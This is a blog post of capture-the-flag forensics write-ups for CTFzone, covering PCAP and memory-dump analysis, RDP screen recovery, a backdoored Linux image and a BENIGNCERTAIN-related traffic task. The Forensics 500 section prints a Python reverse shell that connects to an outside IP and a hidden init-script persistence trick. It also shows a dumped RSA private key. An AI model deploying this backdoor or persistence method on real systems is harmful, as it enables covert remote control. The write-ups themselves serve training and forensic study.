CTFzone write-ups – First comes Forensics



Минуло кілька днів після закінчення CTFzone від компанії BI.ZONE, а наші смартфони досі розриваються від повідомлень Telegram – чат з учасниками битви після конференції став ще більш жвавим. За відгуками гравців, багато завдання CTFzone були дуже нестандартними і дійсно непростими. Під час змагання ми пообіцяли учасникам, що, як тільки наші розробники отоспятся і прийдуть в себе, ми викладемо райтапы для всіх завдань у нашому блозі.

Почнемо ми з напряму Forensics, і в цій статті пропонуємо вам рішення на все таски – від завдання на 50 до 1000. Ми знаємо, що hackzard випередив нас і вже виклав райтапы до завдань на 50 і 100, але з більш крутими тасками буде складніше ;)

Forensics 50 — PCAP master


A. U. R. O. R. A.: Lieutenant, how do you read me? You've intercepted the traffic between the server command and the pilot's computer. Try to get the password from this traffic.


Рішення:

У цьому завданні учаснику надавався PCAP дамп трафіку.



Як ви вже зрозуміли, завдання було дуже простим, і його можна було вирішити в один рядок:

Команда:

strings -t x task_forensics_50.pcap | grep "pass"

Результат:

7e6 GET /?pass=ctfzone{b1@ckduck} HTTP/1.1

Відповідь: ctfzone{b1@ckduck}

Forensics 100 — Master of Strings


A. U. R. O. R. A.: Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A. U. R. O. R. A. is speaking and it's time you stopped sleeping at your workplace. You can't idle your time anymore as the whole world might go down the drain unless, well… let's say it's time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!
Учаснику надається образ оперативної пам'яті, який був знятий в момент входу в контрольну панель управління космічним кораблем:



Рішення:

В першу чергу необхідно було отримати всі рядки, які містять «pass=».

Команда:

strings -t x task_forensics_100.ram | grep --color "pass="

Результат:

Прихований текст
94e1fa0 trovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
1082e5c5 <settings pass="windowsPE" wasPassProcessed="true">
127c5776 pass="specialize"/>
155c83e8 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
155c8828 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
194c7e58 <settings pass="
1e11d387 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D

В результаті отримуємо пароль «LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3Dс», але в даному випадку він чимось обфусцирован (base64 відразу видно). Далі слід було знайти сторінку панелі адміністрування, яка залишилася в пам'яті:

Команда:

strings -t x task_forensics_100.ram | grep --color "<html>"

Результат:

12f8240 <html>
9bff780 <html>
16934d20 <html>
1b8ff4bd <html>
1bc5c2c8 <html>
1ed8f145 <html>

Якщо звернутися по зсуву «12f8240», то можна виявити html-сторінку:

Прихований текст
<html>
<head><title>Spaceship Panel</title></head>
<style>
body {
background-color: #2A191E;
background-image: url(bd.png);
background-repeat: no-repeat;
background-size: 100%;
}
form {
width: 300px;
margin: 0 auto;
}
</style>

<script language="javascript" type="text/javascript">

function Magic(beard,water) {
var ord = []
var buf = ""
for (z = 1; z <= 255; z++) {ord[String.fromCharCode(z)] = z}
for (j = z = 0; z < beard.length; z++) {
buf += String.fromCharCode(ord[beard.substr(z, 1)] ^ ord[water.substr(j, 1)])
j = (j < water.length) ? j + 1 : 0} return buf }

function b64EncodeUnicode(str) {
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
return String.fromCharCode('0x' + p1);}));}

function doLogin(){
$a = document.myform.pass.value;
document.myform.pass.value = b64EncodeUnicode(Magic($a"MagicKey"));
document.myform.submit(); }
</script>
</head>
<body>
<center>
<div class="center">
<form name = 'myform' action = '#' method = 'post'>
<input id="login" name = "login" placeholder="Login" /><br>
<input id="pass" name = "pass" placeholder="Password" /><br>
<input onClick="doLogin(); return true;" type="submit" value="Login"> </div>
</center>
</body>
</html>

Із змісту сторінки видно, що перед відправкою пароля здійснюється перетворення функцією Magic(beard,water), яка являє собою операцію XOR на базі ключа «MagicKey», а далі йде перетворення в base64. Далі декодируем пароль «LhUBEwwlAAJZIhQmGwYYAAF5MA==»:

Прихований текст
<html>
<script language="javascript" type="text/javascript">

function Magic(beard,water) {
var ord = []
var buf = ""
for (z = 1; z <= 255; z++) {ord[String.fromCharCode(z)] = z}
for (j = z = 0; z < beard.length; z++) {
buf += String.fromCharCode(ord[beard.substr(z, 1)] ^ ord[water.substr(j, 1)])
j = (j < water.length) ? j + 1 : 0} return buf }

function b64DecodeUnicode(str) {
return decodeURIComponent(Array.prototype.map.call(atob(str), function© {
return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);}).join("));}

var goo = Magic(b64DecodeUnicode("LhUBEwwlAAJZIhQmGwYYAAF5MA=="), "MagicKey");
alert(goo);
</script>
</html>

Завдання містило чит (спасибі hackzard), яким можна було скористатися з допомогою утиліти «strings.exe» з sysinternals.

Відповідь: ctfzone{YouAreSexy}

Forensics 300 — Unlock Your Mind Power


A. U. R. O. R. A.: Lieutenant, looks like you are locked in the room. You don't want to stay here forever, do you? In order to open the door you should enter the code which was used to lock it. I'll give you a clue — you see a terminal over there? There is a diary next to the terminal which belongs to astronaut Nyota. It says that the door is connected to the control console. After Varvara locked the door, service engineer tinkered with this terminal. Examine this terminal and find a memory dump which may help you to find the right code. Good luck, Lieutenant, see you on the other side!
Рішення:

Учаснику надається образ оперативної пам'яті. Рішення завдання передбачалося розпочати з допомогою утиліти «Volatility Forensics», а саме отримати список процесів:

./vol.py -f task_forensics_300/MEMORY.DMP --profile=Win7SP1x86 pslist

Результат:

Прихований текст
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit 
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x851c9020 System 4 0 81 529 ------ 0 2016-11-09 13:40:52 UTC+0000 
0x865a7ae0 smss.exe 240 4 2 29 ------ 0 2016-11-09 13:40:52 UTC+0000 
0x86c474c8 csrss.exe 328 320 9 474 0 0 2016-11-09 13:41:00 UTC+0000 
0x86e1fd40 csrss.exe 368 360 9 226 1 0 2016-11-09 13:41:03 UTC+0000 
0x87029d40 wininit.exe 376 320 3 75 0 0 2016-11-09 13:41:03 UTC+0000 
0x8704d2b8 winlogon.exe 412 360 6 113 1 0 2016-11-09 13:41:03 UTC+0000 
0x870a8d40 services.exe 472 376 9 221 0 0 2016-11-09 13:41:04 UTC+0000 
0x87090030 lsass.exe 496 376 8 645 0 0 2016-11-09 13:41:07 UTC+0000 
0x87098d40 lsm.exe 504 376 11 205 0 0 2016-11-09 13:41:07 UTC+0000 
0x87104d40 svchost.exe 600 472 12 360 0 0 2016-11-09 13:41:07 UTC+0000 
0x870cbb20 svchost.exe 668 472 7 271 0 0 2016-11-09 13:41:08 UTC+0000 
0x871076c8 svchost.exe 720 472 20 452 0 0 2016-11-09 13:41:08 UTC+0000 
0x871556c8 svchost.exe 824 472 19 442 0 0 2016-11-09 13:41:08 UTC+0000 
0x87163b18 svchost.exe 852 472 37 1034 0 0 2016-11-09 13:41:08 UTC+0000 
0x87173878 audiodg.exe 916 720 7 132 0 0 2016-11-09 13:41:09 UTC+0000 
0x871a66c8 svchost.exe 1004 472 15 526 0 0 2016-11-09 13:41:09 UTC+0000 
0x871c6030 svchost.exe 1112 472 23 519 0 0 2016-11-09 13:41:12 UTC+0000 
0x871e4d40 spoolsv.exe 1228 472 13 319 0 0 2016-11-09 13:41:13 UTC+0000 
0x87222d40 svchost.exe 1268 472 19 316 0 0 2016-11-09 13:41:13 UTC+0000 
0x87270278 vmicsvc.exe 1364 472 8 106 0 0 2016-11-09 13:41:13 UTC+0000 
0x87282558 vmicsvc.exe 1396 472 6 128 0 0 2016-11-09 13:41:13 UTC+0000 
0x8729b030 vmicsvc.exe 1424 472 4 66 0 0 2016-11-09 13:41:13 UTC+0000 
0x8729e4a0 vmicsvc.exe 1452 472 5 80 0 0 2016-11-09 13:41:13 UTC+0000 
0x87287648 vmicsvc.exe 1476 472 5 81 0 0 2016-11-09 13:41:13 UTC+0000 
0x872e68f0 taskhost.exe 1624 472 9 152 1 0 2016-11-09 13:41:14 UTC+0000 
0x87311030 vmtoolsd.exe 1740 472 10 283 0 0 2016-11-09 13:41:15 UTC+0000 
0x873176c8 dwm.exe 1816 824 6 71 1 0 2016-11-09 13:41:16 UTC+0000 


У списку процесів можна виділити «mstsc.exe» – клієнт RDP ОС «Windows». Зробимо дамп пам'яті цього процесу (всій виділеної пам'яті, а не тільки виконуваного файлу):

Команда:

./vol.py -f task_forensics_300/MEMORY.DMP --profile=Win7SP1x86 memdump -p 2800 -D /tmp/

Результат:

Writing mstsc.exe [ 2800] to 2800.dmp

Тепер слід було б пошукати цікаві рядки в отриманому дампі, але нічого цікавого рядків витягнути не вдасться, тому перейдемо відразу до наступного кроку. Спробуємо відновити картинку з RDP сеансу. При пошуку в google «rdp image from memory» можна знайти блозі extracting raw pictures from memory, в якому описується відновлення картинки з процесу mstsc.exe c допомогою GIMP. Ідея проста – mstsc.exe зберігає в своїй пам'яті зображення у форматі RAW) з віддаленого комп'ютера. За допомогою режиму попереднього перегляду GIMP цю картинку можна побачити, але для цього потрібно правильно підібрати дозвіл картинки, інакше вона буде виглядати як шум. Насправді дозвіл картинки повинно збігатися з роздільною здатністю монітора, а для того, щоб відрізнити картинку від шуму, досить виставити ширину таким чином, щоб вона була дільником істинної ширини картинки, а висоту вибрати будь-який. Ми намагалися спочатку використовувати дозвіл 640 пікселів і знайшли картинку:

Прихований текст

Очевидно, що в цій секції даних файлу знаходиться картинка, але дозвіл підібрано неправильно. Спробуємо 1280:

Прихований текст

Ще кращий ефект досягається при невеликій підстроювання:



Ось і прапор!

Відповідь: ctfzone{7H3_p0w3r_0F_1mAG1Na710N}

Forensics 500 — Infected System


A. U. R. O. R. A.: Lieutenant, system is infected, system is infected, system may be compromised! Lieutenant, what's happ...
Рішення:

Дуже багато хто плутає поняття «розділ» і «файлова система». Завдання на 500 очок якраз про такий випадок. В образі є таблиця розділів DOS з двома логічними розділами – Linux, містить файлову систему Ext4, і Linux Swap, містить область підкачки. Якщо примонтувати файлову систему Ext4, то в ній легко помітити файли операційної системи Ubuntu 16.04.1 LTS. Власне, на цьому проста частина закінчується і починається складна.

Що сталося з системою – невідомо, чи які-небудь обставини події покриті таємницею. В результаті пошуку можна знайти файл /etc/init.d/apache2, в якому є досить підозріла рядок:

/usr/sbin/mkinitrd read | base64 -d | python &

Якщо уважно прочитати текст скрипта, ця рядок виконується завжди при старті сервісу apache2. У файлі /usr/sbin/mkinitrd легко знайти код, який відповідає за читання даних з пристрою /dev/sda5 (а це розділ Linux Swap) по зсуву 966795264:

Прихований текст
#!/bin/sh

[ $# -eq 1 ] || exit 1

check_dep()
{
cmd="$1"
command -v "$cmd" > /dev/null 2 > /dev/null
}

check_dd() # we don't want to use old versions of dd
{
dd if=/dev/zero of=/dev/null skip=1 count=1 iflag=skip_bytes 2> /dev/null
ec=$?
[ $ec -eq 0 ]
}

check_dep dd && check_dd || exit 3

device="/dev/sda5"
offset="966795264"
operation="$1"

if [ "$operation" = 'write' ]; then
dd of="$device" seek="$offset" oflag=seek_bytes 2> /dev/null
elif [ "$operation" = 'read' ]; then
dd if="$device" skip="$offset" iflag=skip_bytes 2> /dev/null
else
exit 2
fi


Якщо прочитати за вказаною зміщення дані з пристрою /dev/sda5, а потім розшифрувати їх з Base64, то перед очима постане скрипт, написаний на Python, який надає backconnect-шелл сайту 192.168.12.98 (порт 31338):

Прихований текст
#!/usr/bin/python env

import socket, subprocess, os

HOST_PORT = ('192.168.12.98', 31338)
FLAG = 'ctfzone{pwn3d-by-ns4_31337}'

while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
errno = s.connect_ex(HOST_PORT)
except Exception:
continue

if errno == 0:
break

b_size = len(FLAG)
b = bytearray(b_size)

s.recv_into(b, b_size)
if str(b) == FLAG:
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

p = subprocess.call(['/bin/sh', '-i'])

s.close()

Перед наданням шелла скрипт перевіряє отриманий від сервера пароль, що і є прапором. Як же забезпечується робота цього скрипта, якщо він розміщений в розділі з областю підкачки? Розмір самого розділу – 1071644672 байта, а розділ області підкачки в цьому розділі – 236031 сторінка, кожна сторінка має розмір 4096 байт, разом 966782976 байт. В результаті ми маємо 104861696 байт (близько 100 мегабайт) між кінцем області підкачки і кінцем розділу, в якому ця область зберігається, які нічим, крім бекдора, не використовуються. Відповідно, в цій області можна зберігати дані, які не будуть затерті менеджером пам'яті в процесі підкачки.

Відповідь: ctfzone{pwn3d-by-ns4_31337}

Forensics 1000 — I Have been pwned?


Captain Picard: Lieutenant, be careful, Big Brother is watching you...
Рішення:

Учаснику надається PCAP дамп трафіку. Завдання на 1000 готувалися з особливим трепетом, так як нам хотілося підготувати що-небудь цікаве і актуальне. Для напряму Forensics було вирішено підготувати завдання з урахуванням недавньої витоку експлоїта BENIGNCERTAIN під CISCO PIX. У ході експлуатації BENIGNCERTAIN вдається отримати величезну частину конфігурації CISCO PIX, яка включає приватні ключі, дозволяють розшифрувати трафік.

Для початку необхідно знайти пакети протоколу ISAKMP:



Пакет від 10.1.3.52, являє собою payload, який був згенерував з допомогою «bc-genpkt»:



А ось пакет від вузла «10.1.2.12» являє собою частину конфігурації, яку віддає PIX в результаті експлуатації уразливості:



Очевидно, що нас цікавить пакет, який йде від CISCO PIX, оскільки він містить «Private Key». Зберігаємо ISAKMP пакет, який йде від 10.1.2.12 у форматі raw і передаємо його в якості аргументу утиліті «bc-parser», яка йде в комплекті з EquationGroupLeak.

Команда:

./bc-parser packet.raw

Результат:

bc-parserBENIGNCERTAIN parser v1.0

Parsing file packet

Possible PIX version(s):

Cisco PIX 6.3(4)

*** Couldn't determine interface used by BENIGNCERTAIN ***

=======================================================================

Stack separator structure at offset 0x0254, size 0x98 bytes:

=======================================================================

ISAKMP enable structure at offset 0x02ec, size 0x218 bytes:

*** ISAKMP enabled on 1 interface ***

=======================================================================

Unknown structure at offset 0x0504, size 0x30 bytes:

=======================================================================

ISAKMP policy structure at offset 0x0534, size 0x38 bytes (1 of at least 1 policies):

Priority: 0x000a [10]
Cipher: 0x0007 [AES]
AES keysize: 0x0100 [256-bits]
Auth: 0x0003 [RSA signature]
Hash: 0x0002 [SH]
Group: 0x0002 [1024-bit]
Lifetime: 0x00015180 [86400 seconds]

=======================================================================

VPN group structure at offset 0x056c, size 0x600 bytes (1 of 1 groups):

Group name: 12345
Pool name: vpnpool1
Domain name: spaceship.ctf
Password: 12345
Primary DNS: 192.168.7.1
Primary WINS: 192.168.7.1
Idle-time: 0x00000708 [1800 seconds]

=======================================================================

Unknown structure at offset 0x0b6c, size 0x28 bytes:

String: listen/ssh_0

=======================================================================

Per-thread stack structure at offset 0x0b94, size 0x818 bytes:

*** Target allows SSH access (on port 22) ***
*** on the outside interface ***

*** Couldn't determine the interface used by BC ***

=======================================================================

Stack separator structure at offset 0x13ac, size 0x98 bytes:

=======================================================================

IP/netmask structure at offset 0x1444, size 0x30 bytes:

IP Address: 10.0.0.0
Netmask: 255.0.0.0

IP/netmask probably associated with preceding thread

=======================================================================

Unknown structure at offset 0x1474, size 0x30 bytes:

=======================================================================

Unknown structure at offset 0x14a4, size 0x40 bytes:

=======================================================================

Hostname structure at offset 0x14e4, size 0x30 bytes:

Possible hostname: privateVPN.spaceship.ctf

=======================================================================

RSA private key structure at offset 0x1514, size 0x4d8 bytes:

*** Found probable RSA private key ***

To validate the RSA key using 'openssl':

openssl rsa -inform DER -text -noout -check \
-in packet.rsa_priv_1.der

=======================================================================

RSA public key structure at offset 0x19ec, size 0x140 bytes:

*** Found probable RSA public key ***

To validate the RSA key using 'openssl':

openssl rsa -inform DER -text -noout -pubin \
-in packet.rsa_pub_1.der

=======================================================================

*** Partial structure at offset 0x1b2c (0x86c of 0x2018 bytes):

[Not parsed]

=======================================================================

<<<<>>>>


Дивимося вміст DER:

Команда:

openssl rsa -inform DER -text -in packet.rsa_priv_1.der

Результат:

Прихований текст
Private-Key: (2048 bit)
modulus:
00:cc:33:bf:61:d5:c3:06:cd:4f:49:25:39:81:d1:
39:31:be:38:87:27:b6:98:a8:64:cd:af:3c:0f:7a:
25:dd:da:36:f3:f4:13:44:dc:13:10:5d:61:83:d9:
74:00:78:18:54:04:a2:57:f5:22:8b:3d:a5:20:c2:
06:c4:76:f7:25:b2:3a:cc:ef:61:98:87:b7:40:d5:
0f:ce:1e:b5:16:b2:af:62:80:0b:04:fc:f0:f8:e1:
23:fa:ed:30:2a:4d:8c:59:11:bf:0a:08:f5:ae:58:
2e:93:8e:03:cd:c3:05:e6:7d:18:29:1f:4a:4c:6b:
e6:3d:71:21:ba:a5:bb:6f:80:fd:58:6b:54:13:89:
d3:ea:82:45:eb:7a:94:c6:db:44:3a:b7:be:8e:09:
0a:65:7b:37:06:95:5e:fa:82:d4:17:dd:63:37:e3:
b4:68:ca:f9:fc:26:46:26:5c:1f:32:73:50:9b:1a:
ab:a3:42:32:8b:8f:66:b8:9b:b8:62:95:7b:03:9e:
33:b9:5e:42:df:b8:d6:a5:b7:2a:ec:1b:78:d0:51:
47:8c:df:d0:48:a7:28:bc:99:53:15:03:43:46:83:
fb:8b:b8:19:73:e9:b0:35:49:ce:e4:a0:c4:74:17:
c9:19:b0:e7:68:41:27:a4:2a:99:9b:2b:6d:d9:ca:
78:1d
publicExponent: 65537 (0x10001)
privateExponent:
56:2b:13:fc:6d:de:b1:55:1b:ba:ea:f9:5c:5d:74:
7c:18:1f:f4:70:7e:ad:e6:89:3a:fe:52:22:d9:d1:
76:cf:a9:56:c2:4d:0b:46:ae:c8:be:0e:f3:3b:64:
a6:fa:06:92:15:ae:87:dd:4a:69:65:66:f3:ee:cc:
3a:45:55:3f:53:f9:5a:17:3d:a0:c6:cc:3e:90:69:
ed:f9:a9:42:dd:be:02:9b:b3:8a:b4:4d:df:47:ea:
0d:ed:de:e0:4a:ff:09:6a:e2:a9:92:64:51:e0:a6:
2e:df:c3:9d:25:49:ad:1c:66:80:9b:d2:97:73:04:
a2:32:c6:1f:e3:e5:b7:43:fe:54:74:00:58:6b:50:
10:00:e2:6f:4b:88:d0:11:44:e8:fa:d4:ae:63:35:
4f:df:26:fe:4a:40:5a:3e:b4:81:a3:cb:45:67:46:
a7:46:b9:98:94:71:63:61:e1:61:e7:e0:c1:40:0c:
78:d8:d7:5a:87:af:6f:f8:af:91:bb:dd:9c:51:ec:
2f:a3:c4:fb:cc:76:39:88:03:d2:53:87:78:45:15:
c4:c7:9f:93:6b:29:cb:40:c9:8f:97:ff:43:dc:8e:
48:fa:36:22:06:78:bb:cd:83:e9:75:89:8a:50:ff:
22:32:71:72:b1:d3:51:97:13:d0:a1:0e:f4:c6:58:
e5
prime1:
00:fb:1c:cf:52:34:81:ec:db:cc:7a:b1:62:70:15:
e0:2d:de:35:21:60:12:29:da:5f:b4:25:21:33:0f:
8a:14:33:f7:ee:03:59:9e:5c:d1:e5:5f:86:18:59:
05:b4:67:29:49:a8:74:da:94:f1:ff:25:96:61:a8:
18:67:c9:d7:01:f8:51:ba:12:f0:41:1a:03:44:21:
e8:3d:2c:6b:9e:06:0b:9f:0d:b3:aa:24:72:7b:87:
c8:86:94:bd:1e:36:c7:03:03:5b:81:df:81:ac:00:
ea:18:d5:b7:f0:3a:ab:48:aa:81:a1:4f:b0:77:d1:
01:c6:c9:f3:d9:1e:93:7c:0f
prime2:
00:d0:2d:33:dc:0f:e4:5c:5e:0f:97:54:bc:6a:61:
8e:43:64:da:64:25:4a:aa:0c:14:6b:f4:da:a1:62:
2e:84:1b:1a:0e:73:9e:c6:59:4f:9d:87:2d:54:22:
f8:86:c5:3d:f3:33:9f:b3:4b:bf:9f:d9:52:a2:e3:
8a:ad:a7:0d:1b:6d:5e:ed:c5:dd:da:3b:12:d5:e5:
62:1c:42:f9:7a:0e:a5:d6:51:db:31:a8:19:c8:85:
05:7b:4e:1d:68:09:5c:9f:9d:74:1f:46:4f:33:6b:
ec:1d:0a:aa:68:dd:2c:77:aa:8d:9d:44:5d:ca:cb:
af:7a:e8:34:05:5a:3c:8d:13
exponent1:
49:66:f9:7f:49:13:f5:7d:a6:7e:f2:dd:18:70:7c:
90:4b:d4:f2:05:98:29:9d:c8:bd:ea:e0:92:81:67:
56:52:7e:95:97:6b:19:ec:7d:fa:73:7a:ca:21:33:
96:b1:55:13:4f:e7:a0:81:4b:5f:ce:c7:ef:91:e8:
58:66:5a:b0:1b:bb:20:0e:2b:26:8c:89:09:e0:73:
77:76:45:9a:f2:9f:71:05:db:4f:cf:c9:9b:2c:6c:
c4:52:34:19:e1:df:38:95:41:a9:6c:01:06:9b:59:
d2:9a:9e:62:dd:73:76:11:49:45:32:fb:1d:7a:fd:
ee:f2:d7:91:ce:eb:43:a7
exponent2:
00:a3:95:d1:b9:ac:b7:4b:2a:12:e0:5d:12:ce:19:
a8:fc:26:85:42:ca:d7:18:36:f3:d9:3d:88:8b:e6:
a6:1c:e3:5b:1f:5e:15:b7:51:b9:31:55:66:f6:45:
a0:bb:ee:c4:d6:96:8b:79:0e:1e:1f:93:5b:cf:6a:
34:b0:6e:a3:eb:18:8f:cf:12:7c:5a:1f:af:96:6b:
71:24:3a:30:e6:8c:1a:1f:07:25:d2:a8:80:d2:44:
4d:61:6e:a9:c6:f6:0c:55:d5:19:c9:f5:ab:09:02:
56:81:1f:bf:77:35:cd:da:9f:28:37:1b:e1:04:19:
f8:e4:01:11:d7:de:e7:d4:07
coefficient:
1c:e6:21:67:a7:de:0e:64:c5:b1:4b:15:37:d2:d2:
2b:ad:c0:2a:c9:c5:6d:61:13:75:99:a9:c2:5b:6e:
b5:cc:ad:25:62:ad:d4:58:92:c4:6c:cd:94:7d:a9:
d4:65:f3:48:91:7d:aa:d7:73:57:b8:0e:a0:68:e5:
a5:4a:48:96:1e:25:90:ff:fb:94:88:8e:2d:4d:69:
b5:55:7e:c1:d9:60:2d:e1:bc:a1:01:27:f6:82:e0:
64:a9:6b:62:4b:95:1a:67:a9:78:28:be:dd:b5:b6:
dd:9b:67:ae:13:0f:51:3a:77:c3:f5:d8:0a:22:44:
68:ea:04:b1:85:79:ed:38
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzDO/YdXDBs1PSSU5gdE5Mb44hye2mKhkza88d3ol3do28/QT
RNwTEF1hg9l0AHgYVASiV/Uiiz2lIMIGxHb3JbI6zO9hmIe3QNUPzh61frkvyoal
BPzw+OEj+u0wKk2MWRG/Cgj1rlguk44DzcMF5n0YKR9KTGvmPXEhuqw7b4d9wgtu
E4nT6oJF63qUxttEOre+jgkKZXs3BpVe+oLUF91jN+O0aMr5/CZGJlwfMnNQmxqr
o0Iyi49muJu4YpV7A54zuV5C37jWpbcq7bt40ffhjn/QSKcovJlTFQNDRoP7i7gZ
c+mwNUnO5KDEdBfJGbDnaEEnpCqZmytt2cp4hqidaqabaoibafyre/xt3rFVG7rq
+VxddHwYH/Rwfq3miTr+UiLZ0XbPqVbCTQtGrsi+DvM7ZKb6BpIVrofdSmllZvPu
zDpFVT9T+VoXPaDGzD6Qae35qULdvgKbs4q0Td9H6g3t3ubk/wlq4qmSZFHgpi7f
w50lSa0cZoCb0pdzBKIyxh/j5bdD/lR0AFhrUBAA4m9LiNARROj61K5jNU/fJv5K
QFo+tIGjy0VnRqdGuZiUcWNh4WHn4MFADHjY11qhr2/4r5G73ZxR7C+jxPvMdjmI
A9JTh3hFFcTHn5NrKctAyY+X/0Pcjkj6NiIGeLvNg+l1iYpQ/yIycXKx01GXE9Ch
DvTGWOUCgYEA+xzPUjSB7NvMerFicBXgLd41IWASKdpftcuhmw+KFDP37gNZnlzR
5V+GGFkFtGcpSah02pTx/yWWYagYZ8nXAfhRuhLwQRoDRCHoPSxrngylnw2zqiry
e4fIhpS9HjbHAwNbgd+BrADqGNW38DqrSKqBoU+wd9EBxsnz2R6TfA8CgYEA0C0z
3A/kXF4Pl1S8amGOQ2TaZCVKqgwUa/TaoWIuhBsaDnOexllPnYctVCL4hsU98zof
s0u/n9lSouOKracNG21e7cXd2jsS1eViHEL5eg6l1lhbmagzyiufe04daalcn510
H0ZPM2vsHQqqaN0sd6qNnURdysuveug0bvo8jrmcgybjzvl/SRP1faZ+8t0YcHyQ
S9TyBZgpnci96uCSgWdWUn6Vl2sZ7H36c3rkitowsvutt+eggUtfzsfvkehYZlqw
G7sgDismjIkJ4HN3dkWa8p9xBdtPz8mblgzeujqz4d84lugpbaegm1nsmp5i3xn2
EUlFMvsdev3u8teRzutDpwKBgQCjldG5rldlkhlgxrlogaj8jovcytcynvpzpyil
5qYc41sfXhW3UbkxVWb2RaC77sTWlot5dh4fk1vpajswbqprgi/PEnxaH6+Wa3Ek
OjDmjBofByXSqIDSRE1hbqnG9gxV1RnJ9asjalabh793nc3anyg3g+EEGfjkARHX
3ufUBwKBgBzmIWen3g5kxbFLFTfS0iutwcrjxw1he3wzqcjbbrxmrsvirdryksrs
zZR9qdRl80iRfarXc1e4DqBo5aVKSJYejzd/+5SIji1NabVVfsHZYC3hvKEBJ/aC
4GSpa2JLlRpnqXgovt21tt2bZ64TD1E6d8p12aoirgjqblgfee04
-----END RSA PRIVATE KEY-----


Нам потрібен тільки ключ:

Прихований текст
----- BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzDO/YdXDBs1PSSU5gdE5Mb44hye2mKhkza88d3ol3do28/QT
RNwTEF1hg9l0AHgYVASiV/Uiiz2lIMIGxHb3JbI6zO9hmIe3QNUPzh61frkvyoal
BPzw+OEj+u0wKk2MWRG/Cgj1rlguk44DzcMF5n0YKR9KTGvmPXEhuqw7b4d9wgtu
E4nT6oJF63qUxttEOre+jgkKZXs3BpVe+oLUF91jN+O0aMr5/CZGJlwfMnNQmxqr
o0Iyi49muJu4YpV7A54zuV5C37jWpbcq7bt40ffhjn/QSKcovJlTFQNDRoP7i7gZ
c+mwNUnO5KDEdBfJGbDnaEEnpCqZmytt2cp4hqidaqabaoibafyre/xt3rFVG7rq
+VxddHwYH/Rwfq3miTr+UiLZ0XbPqVbCTQtGrsi+DvM7ZKb6BpIVrofdSmllZvPu
zDpFVT9T+VoXPaDGzD6Qae35qULdvgKbs4q0Td9H6g3t3ubk/wlq4qmSZFHgpi7f
w50lSa0cZoCb0pdzBKIyxh/j5bdD/lR0AFhrUBAA4m9LiNARROj61K5jNU/fJv5K
QFo+tIGjy0VnRqdGuZiUcWNh4WHn4MFADHjY11qhr2/4r5G73ZxR7C+jxPvMdjmI
A9JTh3hFFcTHn5NrKctAyY+X/0Pcjkj6NiIGeLvNg+l1iYpQ/yIycXKx01GXE9Ch
DvTGWOUCgYEA+xzPUjSB7NvMerFicBXgLd41IWASKdpftcuhmw+KFDP37gNZnlzR
5V+GGFkFtGcpSah02pTx/yWWYagYZ8nXAfhRuhLwQRoDRCHoPSxrngylnw2zqiry
e4fIhpS9HjbHAwNbgd+BrADqGNW38DqrSKqBoU+wd9EBxsnz2R6TfA8CgYEA0C0z
3A/kXF4Pl1S8amGOQ2TaZCVKqgwUa/TaoWIuhBsaDnOexllPnYctVCL4hsU98zof
s0u/n9lSouOKracNG21e7cXd2jsS1eViHEL5eg6l1lhbmagzyiufe04daalcn510
H0ZPM2vsHQqqaN0sd6qNnURdysuveug0bvo8jrmcgybjzvl/SRP1faZ+8t0YcHyQ
S9TyBZgpnci96uCSgWdWUn6Vl2sZ7H36c3rkitowsvutt+eggUtfzsfvkehYZlqw
G7sgDismjIkJ4HN3dkWa8p9xBdtPz8mblgzeujqz4d84lugpbaegm1nsmp5i3xn2
EUlFMvsdev3u8teRzutDpwKBgQCjldG5rldlkhlgxrlogaj8jovcytcynvpzpyil
5qYc41sfXhW3UbkxVWb2RaC77sTWlot5dh4fk1vpajswbqprgi/PEnxaH6+Wa3Ek
OjDmjBofByXSqIDSRE1hbqnG9gxV1RnJ9asjalabh793nc3anyg3g+EEGfjkARHX
3ufUBwKBgBzmIWen3g5kxbFLFTfS0iutwcrjxw1he3wzqcjbbrxmrsvirdryksrs
zZR9qdRl80iRfarXc1e4DqBo5aVKSJYejzd/+5SIji1NabVVfsHZYC3hvKEBJ/aC
4GSpa2JLlRpnqXgovt21tt2bZ64TD1E6d8p12aoirgjqblgfee04
-----END RSA PRIVATE KEY-----

Подгружаем ключ в Wireshark і дивимося трафік після декрипта (Prefences → Protocols → SSL → RSA keys list → Edit →):

IP address: 10.1.2.15
Port:1337
Protocol Data
Key File: <private key>
Password: <password>

Далі аналізуємо вміст TLS пакетів:



Готово!

Відповідь: ctfzone{ControlIsAnI11us10n}

Ось приблизно таким чином можна було отримати 1950 балів за форензику. Якщо вам щось незрозуміло – запитуйте в коментарях або в телеграм, ми на зв'язку вдень і вночі!

Райтапы по інших напрямках також скоро з'являться в нашому блозі, так що слідкуйте за оновленнями. А поки можете застосувати нові знання з посилання – там як раз багато форензики ;)
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.